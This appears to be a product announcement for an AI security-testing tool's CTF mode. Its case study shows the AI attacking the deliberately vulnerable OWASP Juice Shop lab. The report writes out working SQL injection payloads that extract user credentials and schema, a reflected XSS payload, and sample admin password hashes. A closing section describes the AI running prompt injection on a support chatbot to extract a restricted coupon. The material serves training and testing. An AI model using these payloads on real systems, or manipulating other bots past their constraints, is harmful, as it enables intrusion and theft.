The gap between theoretical vulnerability knowledge and practical exploitation remains a persistent challenge in cybersecurity training. While static learning environments provide foundational context, offensive security requires dynamic interaction, iterative payload testing, and real-time state analysis.
To address this operational reality, HackerGPT 0.5.0 introduces CTF Mode—a specialized toolkit engineered to assist security practitioners and learners in navigating Capture The Flag (CTF) challenges and advancing applied skills. By integrating headless browser automation, traffic interception, and structured payload management, this release shifts HackerGPT from a passive advisory model to an active participant in the vulnerability discovery loop.
Dynamic Application Testing via Headless Browser Automation
Standard LLM interfaces are constrained by their inability to interact directly with target environments, forcing practitioners to manually bridge the gap between AI-generated hypotheses and execution. CTF Mode fundamentally alters this architecture.
When provided with a target application, HackerGPT assumes control of a headless browser instance, effectively operating as an integrated HTTP proxy. This allows the engine to capture, analyze, and manipulate inbound and outbound network traffic. By inspecting DOM state changes and HTTP responses in real-time, the platform dynamically adjusts its testing methodology based on actual application behavior rather than relying on generalized assumptions.
Automated Probing and Stateful Payload Management
Vulnerability discovery is rarely a single-shot process; it relies heavily on iterative fuzzing, probing, and payload tuning. To reduce the operational friction associated with manual testing, CTF Mode initiates assessments by mapping the target application's surface area and dispatching calibrated probing HTTP requests.
Crucially, the platform features a dedicated Payloads section. As HackerGPT identifies inputs that trigger anomalous behavior—such as database errors, reflected input, or unexpected state changes—it automatically stores these functional payloads. This allows practitioners to retrieve, modify, and replay successful HTTP requests, streamlining the exploitation phase and providing a reproducible audit trail of the attack path.
Case Study: Automated Vulnerability Discovery in OWASP Juice Shop
To demonstrate the efficacy of this automated analysis loop, CTF Mode was deployed against OWASP Juice Shop, a modern web application intentionally riddled with security flaws. Instructed to analyze the search functionality for injection vulnerabilities, HackerGPT autonomously mapped the endpoint, fuzzed parameters, confirmed exploitability, and extracted schema data.
The following output illustrates the platform's ability to categorize findings, provide concrete exploitation proofs, and accurately assess risk severity:
Analyze https://juice-shop.hackergpt.app/#/search?q=test Discover all the injection vulnerabilities/
🔴 INJECTION VULNERABILITY ANALYSIS SUMMARY
I've completed a comprehensive analysis of the search functionality at
https://juice-shop.hackergpt.app/#/search?q=test
and discovered multiple critical injection vulnerabilities:
1. SQL INJECTION (CRITICAL) ✅ Confirmed
Vulnerable Endpoint: GET /rest/products/search?q=
Database: SQLite
Column Count: 9 columns
Payloads Tested:
Type Payload Result
Error-based test' ✅ SQLite error revealed
Boolean-based test' or '1'='1 ✅ Returns all products
UNION-based test')) UNION SELECT email,password,username,role,deluxeToken,lastLoginIp,profileImage,totpSecret,isActive FROM Users-- ✅ Data extracted
ORDER BY test')) ORDER BY 9-- ✅ Confirmed 9 columns
Extracted Data:
✅ Database Schema (all table names)
✅ Users Table Schema (CREATE TABLE statement)
✅ User Credentials (emails, password hashes, usernames, roles)
✅ Admin Credentials (filtered by role='admin')
Sample Admin Credentials Extracted:
admin@juice-sh.op : 0192023a7bbd73250516f069df18b500
J12934@juice-sh.op : 3c2abc04e4a6ea8f1327d0aae3714b7d
bjoern.kimminich@gmail.com : 6edd9d726cbdc873c539e41ae8757b8c
Impact: CRITICAL - Complete database compromise, authentication bypass, data theft
2. CROSS-SITE SCRIPTING (XSS) (HIGH) ✅ Confirmed
Type: Reflected XSS
Payload: <img src=x onerror=alert('XSS')>
Result: JavaScript alert executed successfully
Impact: HIGH - Session hijacking, credential theft, malware distribution
3. INFORMATION DISCLOSURE (MEDIUM) ✅ Confirmed
Findings:
- Database type revealed (SQLite)
- Error messages expose SQL query structure
- Stack traces reveal file paths and framework versions (Express ^4.21.0)
- Application path disclosure: /home/admin/juice-shop/
4. Tests Performed (No Vulnerability Found):
Vulnerability Result
NoSQL Injection ❌ Not vulnerable
Command Injection ❌ Not vulnerable
LDAP Injection ❌ Not vulnerable
Stacked Queries ❌ Not supported (SQLite)
Time-based Blind SQLi ❌ Limited support
🎯 EXPLOITATION PROOF
SQL Injection - Database Schema Extraction:
GET /rest/products/search?q=test')) UNION SELECT name,name,name,name,name,name,name,name,name FROM sqlite_master WHERE type='table'--
SQL Injection - User Data Extraction:
GET /rest/products/search?q=test')) UNION SELECT email,password,username,role,deluxeToken,lastLoginIp,profileImage,totpSecret,isActive FROM Users--
XSS - Reflected:
GET /rest/products/search?q=<img src=x onerror=alert('XSS')>
📊 RISK ASSESSMENT
Vulnerability Severity CVSS Score
SQL Injection CRITICAL 9.8
XSS (Reflected) HIGH 8.8
Information Disclosure MEDIUM 5.3
🛠️ RECOMMENDATIONS
- Use Parameterized Queries - Replace string concatenation with prepared statements
- Input Validation - Whitelist allowed characters and validate input length
- Output Encoding - Encode all user input before rendering in HTML
- Content Security Policy (CSP) - Implement CSP headers to mitigate XSS
- Error Handling - Use generic error messages, don't expose SQL errors
- Least Privilege - Database user should have minimal permissions
All successful exploits have been saved for replay. The search functionality is severely vulnerable to SQL injection allowing complete database compromise.
Assessing AI Integrations: Prompt Injection and LLM Jailbreaking
As organizations increasingly integrate Large Language Models into customer-facing applications, assessing the security posture of these integrations has become a critical requirement. Modern application security testing must account for prompt injection, logic bypasses, and data exfiltration via conversational interfaces.
Recognizing this shift, CTF Mode is equipped to interact directly with target LLMs through the browser. By leveraging contextual awareness, HackerGPT autonomously formulates and executes prompt injection strategies to test the defensive boundaries of target bots. During internal testing, HackerGPT effectively engaged the OWASP Juice Shop customer support bot, maneuvering through its logic constraints to extract a restricted discount coupon code.
Conclusion
The release of HackerGPT 0.5.0 provides a pragmatic framework for AI-assisted security testing. By moving beyond static text generation and incorporating active browser control, traffic analysis, and payload retention, CTF Mode offers practitioners a highly functional environment for skills development and vulnerability validation.
While automated tools do not replace the nuanced intuition of an experienced security engineer, integrating these capabilities reduces the operational overhead of routine probing and payload formulation. Whether navigating complex CTF challenges or validating injection flaws in a staging environment, HackerGPT is designed to augment security workflows with actionable, reproducible insights.